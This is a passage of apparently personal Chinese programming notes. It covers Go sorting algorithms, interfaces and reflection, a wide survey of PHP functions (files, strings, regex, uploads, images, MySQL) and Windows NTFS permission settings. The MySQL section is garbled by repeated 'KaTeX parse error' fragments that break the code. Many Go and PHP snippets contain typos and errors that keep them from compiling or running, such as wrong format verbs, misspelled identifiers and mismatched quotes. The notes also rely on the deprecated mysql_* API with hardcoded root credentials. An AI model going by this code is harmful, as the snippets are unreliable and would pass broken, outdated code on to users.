                testRWLock()
                testMap()
            }
            

  2. SortAnd二叉树
        
                    // 冒泡排序
        package main
        
        import("fmt")
        
        func sort(a []int){
            for i :=0;i < len(a);i++{
        		for j :=1;j<len(a)-i;j++{
        			if a[j] < a[j-1]{
        				a[j],a[j-1] = a[j-1],a[j]
        			}
        		}
        	}
        }
        func main(){
        	b := [...]int{2,1,7,234,3,9,3,5,4}
        	sort(b[:])
        	fmt.Println(b)
        
        }
        
        // 选择排序
        package main
        
        import("fmt")
        
        func sort(a []int){
            for i :=0;i < len(a);i++{
        		for j :=i+1;j<len(a);j++{
        			if a[i] > a[j]{
        				a[i],a[j] = a[j],a[i]
        			}
        		}
        	}
        }
        func main(){
        	b := [...]int{2,1,7,234,3,9,3,5,4,65}
        	sort(b[:])
        	fmt.Println(b)
        
        }
        
        // 插入排序
        
        package main
        
        import("fmt")
        
        func sort(a []int){
            for i :=1;i < len(a);i++{
        		for j :=i;j>0;j--{
        			if a[j] > a[j-1]{
        				break
        			}
        			a[j],a[j-1] = a[j-1],a[j]
        		}
        	}   
        }
        func main(){
        	b := [...]int{2,1,7,234,3,96,3,5,4,65}
        	sort(b[:])
        	fmt.Println(b)
        
        }
        
        // 快速排序
        package main
        
        import("fmt")
        
        func sort(a []int,left, right int){
            if left >= right{
        		return
        	}
        	val := a[left]
        	k := left
        	for i:= left +1;i<= right;i++{
        		if a[i] < val{
        			a[k] = a[i]
        			a[i] = a[k+1]
        			k++
        		}
        	}
        	a[k] = val
        	sort(a, left, k-1)
        	sort(a, k+1, right)
            
        }
        func main(){
        	b := [...]int{2,1,7,234,3,96,3,5,4,65}
        	sort(b[:], 0, len(b)-1)
        	fmt.Println(b)
        
        }
        
        // 如果每个节点有两个指针分别用来指向左子树和右子树,我们把这样的结构叫做二叉树。
        package main
        
        import("fmt")
        type Student struct{
            Name string
            left *Student
            right *Student
        }
        
        func main(){
            var root *Student = new(Student)
            root.Name = "s1"
            
            var left1 *Student = new(Student)
            left1.Name = "l1"
            root.left = left1
            
            var right1 *Student = new(Student)
            right1.Name = "r1"
            root.right = right1    
        }
        

  3. 接口
        
                    // 方法,go中的方法是作用在特定类型的变量上,因此自定义类型都可以有方法,而不仅仅是struct
        package main
        
        import "fmt"
        
        type Student struct{
            Name string
        }
        func (p Student) init(name string){					//定义方法并绑定
            p.Name = name
        }
        
        func main(){
            var stu Student
            stu.init("stu")
        }
        
        // go中当你使用Printf时会自动调用String方法
        package main
        
        import "fmt"
        
        type Abc struct{
            Name string
        }
        
        func (p *Abc) String() string{
            str := fmt.Sprintf("name[$s]",p.name)
            return str
        }
        func main(){
            var a = Abc
            a.Name = "aa"
            
            fmt.Printf("%s", &a)
        }
        
        // 接口,Interface类型可以定义一组方法,但是这些不需要实现。并且Interface不能包含任何变量。
        package main
        
        import "fmt"
        
        type Test interface{								// 定义接口
            Print()	
        }
        
        type Abc struct{
            Name string
        }
        
        func (p *Abc) Print() {
            fmt.Println(p.Name)
        }
        func main(){
            var a = &Abc
            a.Name = "aa"
            a.Print()
        }
        
        // 多态,一种事物的多种形态,都可以按照统一的接口执行操作
        // 接口嵌套,一个接口可以嵌套在另外的接口
        package main
        
        import "fmt"
        
        type Reader interface{
            Prad()
        }
        type ReadWriter interface{
            Reader
            
        }
        type File struct{}
        
        func(f *File)Read(){
            fmt.Println("asdf")
        }
        func Test(rw ReadWriter){
            rw.Read()
            
        }
        func main(){
            var f File
            Test(&f)
        }
        
        // 类型断言,由于接口时一般类型,不知道具体类型,如果要转成具体类型可以采用有以下方法进行转换
        package main
        
        import "fmt"
        
        type Student struct{
            Name string
        }
        func Test(a interface{}){
            b, ok := a.(Student)
            if ok == false{
                return
            }
            fmt.Println(b)
        }
        func main(){
            var b int
            Test(b)
        }
        
        // 判断一个变量是否实现了指定的接口
        package main
        
        import ("fmt")
        
        type Writer interface{
        	Write()
        }
        type ReadWriter interface{
        	Writer
        }
        type File struct{
        	
        }
        /*
        func (f *File) Write(){
        	fmt.Println("Write data")
        }
        */
        func main(){
        	var f *File
        	var b interface{}
        	b = f
        	v, ok := b.(ReadWriter)
        	fmt.Println(v,ok)			// 你注释后会输出false
        }
        
        // 反射:可以在运行时动态获取变量的相关信息。
        package main
        
        import("reflect")
        
        reflect.Type0f					// 获取变量的类型,返回teflect.Type类型
        reflect.Value0f					// 获取变量的值,返回reflect.Value类型
        reflect.Value.Kind				// 获取变量的类别,返回一个常量
        reflect.Value.Interface()		// 转换成interface类型。

PHP语言

  1. PHP是一种流行的服务器Web程序开发语言之一。PHP特点是语法简单、易于学习、功能强大、灵活易用。

  2. PHP文本预处理语言(PHP:HypertextPreprocessor),是一种HTML内嵌式的语言,与微软的ASP十分相似。

    <?php // 这是一段php脚本,通过服务器运行生成一个html文件。 echo "hello world!"; # 向浏览器输出,返回void。 print("1234"); # 向浏览器输出,返回整型(字符长度)。 printf("123%d",4); # 和c中的一样。 sprintf("asdf"); # 将字符串保存在内存中,返回字符串。 // 单行注释 /*多行注释*/ # shell注释 $asdf=0; # 常见变量并赋值。
?>
<script language="php">
	echo "hello world!";
</script>
  1. PHP支持的基本数据类型:Integer(整数)、Float(浮点型)、String(字符串)、Boolean(布尔)、Array(数组)、Object(对象)。

    <?php $abc=0; $sum=123.1; $abc=$sum; # 隐式转换类型。 $abc=(float)$sum; # 强制转换类型。 $abs=100; settype($abs,"string"); # 设置数据类型并返回布尔类型。 echo gettype($abs); # 查看数据类型并返回字符串 echo isset($abs); # 判断一个变量是否存在并返回布尔 unset($abs); # 释放一个变量 echo empty($abc); # 判断变量的值是否为空并返回布尔。 is_integer($abc); # 判断一个变量是不是整型并返回一个布尔。is_还可以写别的类型。 intval($sum); # 转换变量值的类型为整型,不是变量的。也可以称为临时转换. floatval($sum); strval($sum); define("RD",100); # 定义一个常量. phpinfo(); # 查看系统默认的常量. $_POST["username"]; # 获取表单中的值,使用html编写的表单将其发送到指定php文件,我们使用POST方式去获取,如果你不是POST我是获取不到的.注意:标签记得加name属性.
?>
  1. 控制结构

    字符串插入就是字符串的拼接.

<?php
	$username = "baba";
	echo "nihao $username";							# 有效插入
	echo 'nihao $username';							# 无效插入,单引号可以阻止转义.
	echo "nihao.$username.,wc";					
	$sum = $1>2?1:2;								# 三元运算. 
	echo @(53/0);									# 53/0是报错的,我们为了代码可以正常运行,加上@()就可以避免报错.
?>
    
# 控制结构
<?php
    if(条件){
        
    }else{
        
    }
	$a =1;
	switch ($a){
        case 1:
            echo "a";
            break;
        case 2:
            ...
        default:
            ...
    }
?>
    
# 循环结构
<?php
    $a=5
    while($a>1){
        echo $a;
        $a--;
    }
	do{
        echo $a;
        $a--;
        if($a===4){
            continue;
        }
    }while($a>1)
        
	for($a=10;$a<10;$a++){
        echo $a;
        if($a===4){
            break;
        }
    }
	exit;						# 退出程序
?>
  1. 数学运算

    <?php is_numeric("23415"); # 判断是不是数字或数字串. echo rand(1,200); # 生成随机数 echo mt_rand(1,200); # mt_rand比rand的速度快四倍. echo getrandmax(); # 获取最大随机数 echo getmt_randmax(); # 获取最大随机数 echo number_format(234.132,2,".",","); # 数字字符串 echo abs(-12); floor(234.2) # 舍去法取整 ceil(123) # 进一法取整 echo round(123.3); echo max(1,2); echo min(1,2);
?>
  1. 传统上把数组定义为一组有某种共同特性的元素.每个元素由一个特殊的标识符来区分,称之为键:而每个键对应一个值.

    <?php # 数组是通过下标来取值的. $username = array("1,","b","3","6"); echo $username[1]; $username[1]="ssdd"; echo range(1,100); # 范围生成数组 count($username); foreach($username as $key=>$value){ echo $key.$value # 循环打印数组下标和值. } # 自定义数组key and value $name = array("1"=>"a","b"=>"2"); echo $name["b"]; each($name); # 传入一个数组,获取数组的第一个键值,并下移指针.返回一个数组,通过0,1,key,value获取数据. reset($username) # 将数组指针调到第一个. !!each($name); # 将返回结果转为布尔值. list($a,$b,$c)=$username; # list的作用是将数组的值拿出将其赋给变量,只能用于key是数值的数组. echo $a; print_r(array_unique($username)) # 移除值重复的数据. print_r(array_flip($username)); # 调换数组中的键值 print_r(array(array(1,2),array(1,3))); # 多维数组。 echo sort($username); asort($username); # 保持键值对的关联 ksort($username); # 按照键排序 # rsort、arsort、krsort,朝右排序。 shuffle($username); # 随机打乱数组元素 array_reverse($username) # 反向排序 array_unshift($username,"234"); # 开头插入数据 array_push($username,"45"); # 尾部插入数据 array_shift($username); # 删除开头的元素 array_pop($username); # 删除结尾的元素 array_rand($func,1); # 随机获取数组一个元素下标 echo current($username); # 获取指针当前元素 echo next($username); # 指针移动一位。 echo reset($username); # 指针指向第一个元素 echo prev($username); # 回溯一位。 array_count_values($username); # 统计数组中所有的值出现的次数 echo sizeof($username) # 数组个数 extract($usename); # 将字符串key转为变量,将值赋值给变量。
?>
  1. 目录和文件

    <?php $path="C:\app.php"; echo "path:".basename($path) # 返回路径的文件名部分 echo "path:".dirname($path); # 返回路径目录部分 echo pathinfo($path); # 创建一个数组,包括目录名、文件名、扩展名。 echo realpath("./app.php"); # 将相对路径转为绝对路径。 echo round(filesize($path)/1024,2)."KB"; # 返回文件字节大小。 echo round(disk_free_space("C:")/1024/1024,2)# 返回指定的目录所有在磁盘分区的可用空间。 echo round(disk_total_space("c:")/1024/1024,2)# 返回指定的目录所在磁盘分区的总容量。 echo date("Y-m-d,h:i:s",fileatime($path)); # 返回文件的最后访问时间,采用的Unix时间戳格式。 echo date("Y-m-d,h:i:s",filectime($path)); # 返回文件的最后改变时间,采用的Unix时间戳格式。 echo date("Y-m-d,h:i:s",filmtime($path)); # 返回文件的最后修改时间,采用的Unix时间戳格式。 $fp=fopen("file.txt","ab"); # 追加并且二进制方式 $outstring = "asdfasdfg"; fwrite($fp,$outstring,strlen($outstring))) # 写strlen()个字节到文件 fgetc($fp) # 读取一个字符,并将指针移动到下一个字符。 fgets($fp) # 读取一行字符,可以指定一行显示的长度 fgetss($fp) # 从文件指针中读取一行并过滤HTML标记 fread($fp) # 读取定量的字符 fpassthru($fp) # 输出文件指针处的所有剩余数据 file($fp) # 将整个文件读入数组中,以行分组。 readfile($fp) # 读入一个文件并写入到输出缓冲 file_get_contents($fp) # 将整个文件读入一个字符串 feof($fp); # 判断文件是否读取完 fclose($fp); # 关闭一个已打开的文件指针。 file_exists("file.txt"); # 查看文件是否存在 filesize("file.txt"); # 查看文件的大小 unlink("file.txt"); # 删除一个文件 rewind(); # 函数可以将文件指针复位到文件的头部 fseek(); # 函数可以以字节为单位报告文件指针当前文件中的位置 ftell(); # 函数可以将文件指针fp从whence位置移动offset字节。 file_put_contents("file2.txt","Tasdf"); # 将一个字符串写入文件。 $fp=fopen("file.txt","ab"); flock($fp,LOCK_EX); # 锁定 # LOCK_SH 读写锁定,文件可以共享,其他人可以读该文件。 # LOCK_EX 写操作锁定,这是互斥的,该文件不能被共享 # LOCK_UN 释放已有的锁定 # LOCK_NB 防止在请求加锁时发生阻塞 $dir = opendir("c:\\"); # 打开路径指定的目录流 echo readdir($dir) # 返回目录中的各个元素 closedir($dir) # 关闭目录流 scandir("C:\\") # 将目录读入数组 rmdir("c:\\") # 删除指定的目录 rename("file.php","newfile.php") # 重命名文件
?>
  1. 函数

    <?php include"a.php" include'a.php' # 判断是否包含,如果没有包含就包含一下。 require("a.php"); # 与include相同。 require_once("a.php"); # 判断并确定只包含一次。 $c=11; function Name($a,&$c){ # 一样 global $d; # 设置全局变量 $GLOBALS["a"]=5; # 设置超级全局变量 $b = $a+1; echo $c=1122; return $b; } echo Name(345,$c); echo $c; # 特殊常量 # __FILE__ 当前文件名 # __LINE__ 当前行号 # __FUNCTION__ 当前函数名 # __CLASS__ 当前类名 # __METHOD__ 当前方法名
?>
  1. 字符串处理

    <?php $a=" sdf " chop($a); # 去除字符串后面多余的空格。 ltrim($a); # 去除字符串起始处多余空格 rtrim($a); # 去除字符串后面多余的空格 trim($a); # 去除字符串两边空格。 nl2br("asdfsdfg df \nsdf") # 将字符串中的换行符转为xhtml换行标签。 htmlentities("adf"); # 转换所有字符 htmlspecialchars("asdf") # 转换特殊字符 strip_tags("sfd") # 去掉 addslashes("asdf\a"); # 所有的引号都加斜杠 stripslashes("asdf\a"); # 去掉这些斜杠 strtoupper() # 字母大写 strtolower() # 字母小写 ucfirst() # 第一个字母大写 ucwords() # 首字母大写 # STR_PAD_RIGHT,STR_PAD_LEFT,STR_PAD_BOTH str_pad("aaa",10,"1")."is good"; # 将字符串用指定个数的字符填充字符串。 explode('@','ldfjfj@234'); # 字符分割 $array = array("aa","bb","cc"); echo implode(",",$attay); $tok = strtok("a.s#d,f",'.#,'); # 通过提供的分隔符字符串分割,并下一指针。 while($tok){ echo $tok.'
    '; $tok = strtok('.#,'); # 不加字符串为上字符分割,加字符串是新字符串分割。 } echo substr("asdf",1,3); # 分割起点到终点并返回。 print_r(str_split('This is a Teacher!')); # 将字符串按位分割。 echo strrev('This is a Teacher!'); # 可以将一个字符串逆反过来。 echo strcmp("a","b"); # a>b是-1,相等为零,区分大小写。 echo strcasecmp("a","A"); # 不区分大小写,在的和strcmp一样。 echo strnatcmp("2","10"); # 自然排序,就是1大于2这种,非自然排序就是编码自己的排序。这个是自然排序。 echo strspn("123","13467123",1,-1); # 判断字符串在字符串中存在的长度,从第一个位置找到最后一个位置。 echo strlen("asdf"); # 计算字符串出现的长度。 echo substr_count("sdfasfg","c"); # 字符出现的次数。 echo strstr("sdafsgdf","g"); # 从指定的字符串输出到最后一个字符串,不区分大小写. echo strpos('sadfasdfgdfgas','g'); # 查找字符第一次出现的位置。 echo strrpos('sadfasdfgdfgas','g'); # 查找字符最后一次出现的位置。 echo str_replace("a","e","hallo"); # 替换字符串 echo str_ireplace("a","e","hallo"); # 替换字符串,不区分大小写 echo substr_replace("bbbbbf","asdf",0,5); # 替换字符串,在第三个参数开始替换第二个参数长度到第一个参数,asdfbf。 echo mb_strlen("你好","GBK"); # 指定编码后获取长度。 echo mb_substr("你好",1,1,"GBK"); # 指定编码后取出字符,避免取出其他字符。 echo mb_strstr("sadfg","d","GBK"); # 指定编码后取出指定字符到结尾。 echo mb_strpos("asdfgad","g","GBK"); # 指定编码后获取第一次出现的位置。 echo mb_substr_count("asdfdfsf","d","GBK"); # 指定编码后获取字符出现的个数。
?>
  1. 正则表达式

    <?php $mode = '/php/'; $string = 'php'; echo preg_match($mode,$string); # 判断是否匹配 print_r(preg_grep('/p$/',array('1','2','3'))); # 搜索数组中的所有元素,返回由与某个模式匹配的所有元素组成的数组。 print_r(preg_match_all('/php[1-6]/','php1adfgphp2',array('1','2','3'))) # 字符串中匹配模式的所有出现,然后将所有匹配到的放入数组。 echo preg_quote("phpdejiaf:$12"); # 每个对于正则表达式语法而言有特殊含义的字符前插入一个反斜杠。 echo preg_replace('/php[1-6]/','python','adf asdf adf php4'); # 搜索到所有匹配,然后替换成想要的字符串返回出来。 print_r(preg_split('/[\.@]/','ydd.com@a.com')); # 以不区分大小写的方式将字符串划分为不同的元素:用来分割不同的元素。 # 正则表达式中包含三种元素分别为:量词、元字符、修饰符。前导就是前一个字符 # 量词 /* + 匹配任何至少包括一个前导字符串 * 匹配任何包括零个或多个前导字符串 ? 匹配任何包含零个或一个前导字符串 . 匹配任意字符串 {x} 匹配任何包含x个前导字符串 {x,y} 匹配任何包含x到y个前导字符串 {x,} 匹配任何包含至少x个前导字符串 $ 匹配字符串的行尾 ^ 匹配字符串的行首 | 匹配字符串的左边或者右边 () 包围一个字符分组或定义个反引用,可以使用\1\2提取。 */ # 元字符 /* [a-z] 匹配任何包含小写字母的字符串 [A-Z] 匹配任何包含大写字母的字符串 [0-9] 匹配任何包含数字的字符串 [abc] 匹配任何包含小写字母的字符串 [^abc] 匹配任何不包含小写字母的字符串 [a-zA-Z0-9_]匹配任何包含字母数字下划线的字符串 \w 匹配任何包含字母数字下划线的字符串 \W 匹配任何没有字母数字下划线的字符串 \d 匹配任何数字字符 \D 匹配任何非数字字符串 \s 匹配任何空白字符 \S 匹配任何非空白字符 \b 匹配是否达到了单词边界 \B 匹配是否没有达到单词边界 \ 匹配正则中的特殊字符 */ # 修饰符 /* i 完成不区分大小写的搜索 m 在匹配首内容或者尾内容时候采用多行识别匹配 x 忽略正则中的空白 A 强制从头开始匹配 U 禁止贪婪匹配,之跟踪到最近的一个匹配符并结束。 */
?>
/*
正则表达式的语法——字符(一)
数字:\d
非数字:\D
空白字符(空格、制表符、换页符等):\s
非空白字符:\S
单词字符(26个英文字母+数字+下划线):\w
非单词字符:\W
正则表达式的语法——字符(二)
字符集合:[单个字符或字符区间],用于匹配集合内字符
比如:
[a-z]表示a-z这26个小写字母
[0-9a-z]表示0-9这10个数字和a-z这26个小写字母
[123a-h]表示包含数字1,2,3和a-h这8个字母
注意:两个不同的字符段间一定不要用逗号隔开
非集合字符:[^单个字符或字符区间],用于匹配非集合内字符
比如:
[^0-9]表示匹配所有非数字字符
[^a-zA-Z]表示匹配所有非字母字符
字符集合的数字区间该注意什么?
数字区间正则只能匹配0-9的数字,因为正则只能一位一位的匹配,所以超过9以外的数字只是我们给的概念,对于正则机制来说它是认不到的,比如[100-120]就无法被匹配
正则表达式的语法——关键字
() 表示一个整体
^ 匹配输入字符串的开始位置
$ 匹配输入字符串的结尾位置
. 通配符,代表任意字符但不匹配换行
* 匹配0次或者多次
+ 匹配1次或者多次
\ 转义字符
| 两项之间的一个选择
转义字符“\”的使用
转义字符主要是将一些特殊字符转为普通字符。而这些常用特殊字符有”.”、”?”、”\”等
^和$结合使用的注意问题
如果^和$结合使用且中间没有其他表达式,那么他们中间就不能出现别的字符,不然无法匹配,比如/^3b$/表示3开头b结尾,所以只有3b才能被匹配,如果写了3acb就无法被匹配。什么情况下才能被匹配呢,可以使用.(通配符)。
非集合字符的“^”和关键字“^”的区别
非集合字符的“^”可理解为排除字符,排除操作,一般放在[]中,如[^1-5], 表示该字符不是1-5之间的数字;而关键字的“^”表示行开始,如"^ab"表示以ab开头的字符串。
正则表达式的语法——限定符
{n} 例如0{8} 表示只有连起来8个0才会被匹配
{n,} 例如0{2,} 表示只要2个0及其以上的就会被匹配
{n,m} 例如0{2,4} 表示最少匹配2个0,最多匹配4个0
注:被匹配时,默认匹配最多的次数
正则表达式的语法——修饰符
i 表示不区分大小写
A 匹配规则必须从头开始匹配
s 表示.将匹配一切字符
x 表示正则表达式中的空白字符会被忽略
e 代码执行仅限preg_replace()
匹配模式的优先级是什么?(优先级从高到低排) 
\转义字符;()[]大原子和原子表;*+?{n}{n,}{n,m}重复匹配(匹配次数);^$\b\B边界限制;|模式选择
*/
    
    
/*
只能输入数字:"^[0-9]*$"
只能输入 n 位的数字:"^\d{n}$"
只能输入至少 n 位的数字:"^\d{n,}$"
只能输入 m ~ n 位的数字:"^\d{m,n}$"
只能输入零和非零开头的数字:"^(0|[1-9][0-9]*)$"
只能输入有两位小数的正实数:"^[0-9]+(.[0-9]{2})?$"
只能输入有 1~3 位小数的正实数:"^[0-9]+(.[0-9]{1,3})?$"
只能输入非零的正整数:"^\+?[1-9][0-9]*$"
只能输入非零的负整数:"^\-[1-9][0-9]*$"
只能输入长度位 3 的字符:"^.{3}$"
只能输入由 26 个英文字母组成的字符串:"^[A-Za-z]+$"
只能输入由 26 个大写英文字母组成的字符串:"^[A-Z]+$"
只能输入由 26 个小写英文字母组成的字符串:"^[a-z]+$"
只能输入由数字和 26 个英文字母组成的字符串:"^[A-Za-z0-9]+$"
只能输入由数字、26个英文字母或者下划线组成的字符串:"^\w+$"
验证用户密码: "^[a-zA-Z]\w{5,17}$" 正确格式位:以字母开头,长度在6~18之间,只能包含字符、数字和下划线
验证是否含有非法字符 ^(?:[\u4e00-\u9fa5]*\w*\s*)+$
只能输入汉字:"^[\u4e00-\u9fa5]{0,}$"
验证 Email 地址:"^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$"
验证 InternetURL:"^http://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)?$"
中国电话号码验证
匹配形式如:0511-4405222 或者021-87888822 或者 021-44055520-555 或者 (0511)4405222
正则表达式 "((d{3,4})|d{3,4}-)?d{7,8}(-d{3})*"
中国邮政编码验证
匹配形式如:215421
正则表达式 "d{6}"
电子邮件验证
匹配形式如:justali@justdn.com
正则表达式 "w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*"
身份证验证
匹配形式如:15位或者18位身份证
正则表达式 "d{18}|d{15}"
常用数字验证
正则表达式
"d{n}" n为规定长度
"d{n,m}" n到m的长度范围
非法字符验证
匹配排除非法字符的字符如:
正则表达式 ^(?:[\u4e00-\u9fa5]*\w*\s*)+$
*/
  1. 日期和时间

    <?php checkdate(2,29,2007) # 判断是否是有效时间,并返回布尔值。 echo date("Y-m-d H:i:sa") # 返回指定格式的时间。放一个参数是获取当前时间,放两个参数是按指定时间戳返回时间 print_r(gettimeofday()); # 查看更过时间信息,获取当前时间的时间戳 print_r(getdate(1184557366)) # 将时间戳转会为友好的值 echo mktime(14,14,14,11,11,2007) # 获取特定的时间戳:mktime函数可以生成给定日期时间的时间戳 echo time()-(60*60*8) # 获取当前时间的时间戳,按秒计算,可以修改返回的时间。 echo strtotime("2007-10-31 14:31:33") # 将日期转换成时间戳:将人刻度的日期转换为Wnix时间戳。 echo date("Y-m-d H:i:s",getlastmod()) # 获取当前文件最后修改的时间 # 设置时区和GMT/UTC:修改php.ini文件中的设置,找到[date]下的;date.timezone=选项,将该项修改为date.timezone=Asia/Shanghai,然后重新启动apache服务器。putenv()函数可以设置当前的默认时区。 putenv('TZ=Asia/Shanghai'); date_default_timezone_set('Asia/Shanghai') # 可以设置当前的默认时区。 date_default_timezone_get() # 可以获取当前的默认时区。
?>
  1. 表单与验证

    <?php ob_start(); # 开启缓冲区,不建议开,费资源。 header('Location:http://baidu.com') # 设置html头的跳转,卸载最上面,不然会报错。 header('Content-Type:text/html;charset=utf-8'); # 通过get或post来获取提交到后台的数据。 echo $_GET['name']; echo $_POST['name']; echo isset($_GET['name']) # 判断是否获取到了值。 htmlspecialchars()
?>
  1. 会话控制

    <?php setcookie('name','value',time()+(7*24*60*60)); # 设置cookie echo $_COOKIE['name']; # 查看cookie setcookie('name',''); # 删除cookie
?>
  1. 上传文件

    php.ini

    file_uploads=on|off; # 确定服务器上的php脚本是否可以接受文件上传。
    max_execution_time=integer; # php脚本在注册一个致命错去之前可以执行的最长时间,以秒为单位。
    memory_limit=integer; # 设置脚本可以分配到的最大内存,以MB为单位。这可以防止失控的脚本独占服务区内存。
    upload_max_filesize=integer; # 设置上传文件最大大小,以MB为单位。此命令必须小于最大提交数。
    upload_tmp_dir = string; # 设置上传文件在处理之前必须存放在服务器的临时的位置,知道文件移动到最终的位置。
    post_max_size=integer; # 确定通过post方可以接受的信息的最大大小,以MB为单位。

<form enctype="multipart/form-data" action="upload.php" method="post">
    <input type="hidden" name="MAX_FILE_SIZE" value="100000" />
	...
</form>
# enctype="multipart/form-data",必须写入这句,不写会上传不成功。
# 隐藏标签加不加都无所谓,但是最后加上,应为php.ini是后端配置的,如果文件很大需要将文件发到后端才可以判断,这样浪费时间而且不高效。

<?php

    print_r($_FIELS)						# 上传的文件
    is_uploaded_file($_FILES["userfile"]["tmp_name"])								# 确认是否上传文件。
    move_uploaded_file($_FILES["userfile"]["tmp_name"],$_FILES["userfile"]["name"])		# 移动文件,当你获得到文件后默认是存储到服务器上的临时目录中,移动文件并改名就可以用了。
    is_dir("filename")						# 判断路径是否存在
    mkdir("创建文件夹")						# 创建文件夹
?>
  1. 处理图像

    <?php # 第一步,设置文件MIME类型,输出类型改为图像流。 header("Content-Type:image/png"); # 第二部,创建一个图形区域,图像背景,返回一个资源句柄 $im = imagecreatetruecolor(200,200); # 第三步,在空白图像区域,绘制颜色 $blue = imagecolorallocate($im,0,102,255); imagefill($im,0,0,$blue); # 第四步,绘制蓝色线条 $white = imagecolorallocate($im,255,25,25); imageline($im,0,0,200,200,$white); # 第五步,绘制蓝色字体 imagestring($im,5,80,20,"Mr.Lee",$white); # 第六步,输出最终图形 imagepng($im); # 第七步,回收内存资源 imagedestroy($im);
?>
    
    
<?php
    # 1.验证码
    
    # 循环生成四个数,每次循环产出一个1到15的数并转为16进制。.=代表加等于自己。
	header('Content-type:image/png');
	for($Tmpa=0;$Tmpa<4;$Tmpa++){
        $nmsg.=dechex(rand(0,15));
    }
    $im = imagecreatetruecolor(75,25);
	$blue = imagecolorallocate($im,0,102,255);
	$white = imagecolorallocate($im,255,255,255);
	imagefill($im,0,0,$blue);
	imagestring($im,5,20,4,$nmsg,$white);
	imagepng($im);
	imagedestroy($im);
    
	# 2.加载已有的图像
    header('Content-Type:image/png');
	# 获取当前所在文件位置。
	define('__DIR__',dirname(__FILE__).'\\');
	# 在一个url或png文件载入一张新图。
$im = imagecreatefrompng(__DIR__."222.png");
	$white = imagecolorallocate($im,255,255,255);
	# 只当位置加入水印
imagestring($im,3,5,5,"http://www.yc60.com",$white);
	imagepng($im);
	imagedestroy($im);
	
	# 3.加载已有的系统文件

	$text = iconv('gbk','utf-8','李永强');
	$font = 'C:\windows\fonts\simhel.ttf';
	imagettftext($im,20,0,30,30,$white,$font,$text);
	
	# 4.图像微缩
	
	header('Content-type:image/png');
	define('__DIR__',dirname(__FILE__).'\\');
	list($width,$height)=getimagesize(__DIR__.'222.png');
	$new_width = $width*0.7;
	$new_height = $height*0.7;
	$im2 = imagecreatetruecolor($new_width,$new_height);
	$im = imagecreatefrompng(__DIR__.'222.png');
	imagecopyresampled($im2,$im,0,0,0,0,$new_width,$new_height,$width,$height);
	imagepng($im2);
	imagedestroy($im);
	imagedestroy($im2);
?>
  1. 连接MySQL

    <?php header('Content-Type:text/html;charset=utf-8'); # 如果报错,加上@号就不报错了,然后使用die将报错信息打印一下。 $conn = @mysql_connect('127.0.0.1:3306','root','123') or die("error".mysql_error()); # 也可以使用常量 define('DB_USER','root'); @mysql_select_db('a') or die('error'.mysql_error()); @mysql_query('SET NAMES UTF8')or die('zfjcw'); # 设置字符集

    @mysql_query('insert into (name,age) value (li,19)) or die(‘asdf’);

    $result = @mysql_query(‘select * from a’) or die(‘asdf’);

    默认是MYSQL_BOTH是关联和数字,MYSQL_ASSOC是关联,MYSQL_NUM是数字。

    print_r(mysql_fetch_array(KaTeX parse error: Expected 'EOF', got '#' at position 25: …SQL_ASSOC)); #̲ 输出一条记录; prin…result)); # 从结果集中获得一行作为枚举数组。
    print_r(mysql_fetch_assoc(KaTeX parse error: Expected 'EOF', got '#' at position 16: result)); #̲ 从结果集中获得一行作为关联数…result)); # 获取结果集中每个输出的长度
    print_r(mysql_field_name(KaTeX parse error: Expected 'EOF', got '#' at position 17: …esult)); #̲ 获取结果中指定字段的字段名 …result)); # 获取结果集中行的数目
    print_r(mysql_num_fields(KaTeX parse error: Expected 'EOF', got '#' at position 17: …esult)); #̲ 获取结果集中字段的数目 …result)); # 获取Mysql客户端信息
    print_r(mysql_get_host_info(KaTeX parse error: Expected 'EOF', got '#' at position 16: result)); #̲ 获取Mysql主机信息 …result)); # 获取Mysql协议信息
    print_r(mysql_get_server_info($result)); # 获取Mysql服务器信息。

    mysql_free_result(KaTeX parse error: Expected 'EOF', got '#' at position 18: …sult); #̲ 释放结果及资源 mysq…conn); # 断开数据库连接
    ?>

部署服务

文件系统安全

  1. 文件系统即在外部存储设备上组织文件的方法,常用的文件系统:FAT、NTFS、EXT。通过设置NTFS权限,实现不同用户访问不同权限的对象(文件和文件夹),分配了正确的访问权限后,用户才能访问其资源。设置权限防止资源被篡改或删除,NTFS限制用户对文件的操作。

  2. 单元和NTFS特点

1. 单元是存储数据的block,block越多读取越慢。每个文件所用到的block并不会被其他文件使用,block越大所浪费的也越多。对应不同的文件使用不同的block最好。在格式化中可以设置单元大小。
2. NTFS特点:提高磁盘读写性能,可靠性:加密文件系统、访问控制列表(设置权限),磁盘利用率:压缩、磁盘配额,支持单个文件大于4GB。
  1. 修改NFTS权限
1. 取消权限继承作用:取消后,可以任意修改权限列表了。方法:文件假右键属性、安全、高级、去掉第一个对号,在弹出的对话框中选择复制。

2. 文件及文件夹权限
文件和文件夹权限权限内容
完全控制拥有下面所有权限
修改拥有下面除特殊权限的所有权限
读取和执行拥有读取对象和执行对象的能力
读取拥有读取对象的能力
写入拥有新建和修改对象的能力
特殊权限拥有对对象的管理权限
3. 默认成员组
介绍
Administrators管理员组拥有所有权限
CREATOR OWNER创造者组拥有特别权限
SYSTEM系统组拥有除特别权限的所有权限
Users用户组拥有除写入、修改的所有权限
4. 在添加用户时可以使用“;”来隔开,实现多用户的添加。
  1. 叠加|无效和获得所有权
1. 如果a用户和User组都在权限列表中,a又在User组中,a具有自己和User组的所有权限(称为权限叠加)。
2. 如果a用户和User组都在权限列表中,a又在User组中,将a的所有权限取消后,a用户的权限不叠加(a用户无任何权限)。
3. a用户创建文件,断绝继承并将所有用户和组删除。管理员可以强制获得所有权:对象右键属性选择安全,在弹出的对话框中点击确定。点击高级并选择所有权,选中某个管理员或管理员组再将替换子容器勾选。点击确定即可。
  1. 强制继承和复制|移动
1. 强制继承让一些不需要存在的权限划分消失。继承后权限会被覆盖,对象右键属性选择安全里的高级,将“用在此显示的可以应用到子对象的项目替代所有子对象的权限项目”勾选即可。
2. 将本盘或其他盘的对象,复制到指定对象下会继承对象的权限。将本盘的对象,移动到指定对象下不会继承对象权限。其他盘移动的会继承对象权限。

文件共享安全

  1. 通过网络提供文件共享服务(CIFS),提供文件下载和上传服务(类似于FTP服务器)。

  2. 创建共享并访问

1. 测试时,记得虚拟机网络选择自定义的VMnet1仅主机模式和ip的配置。

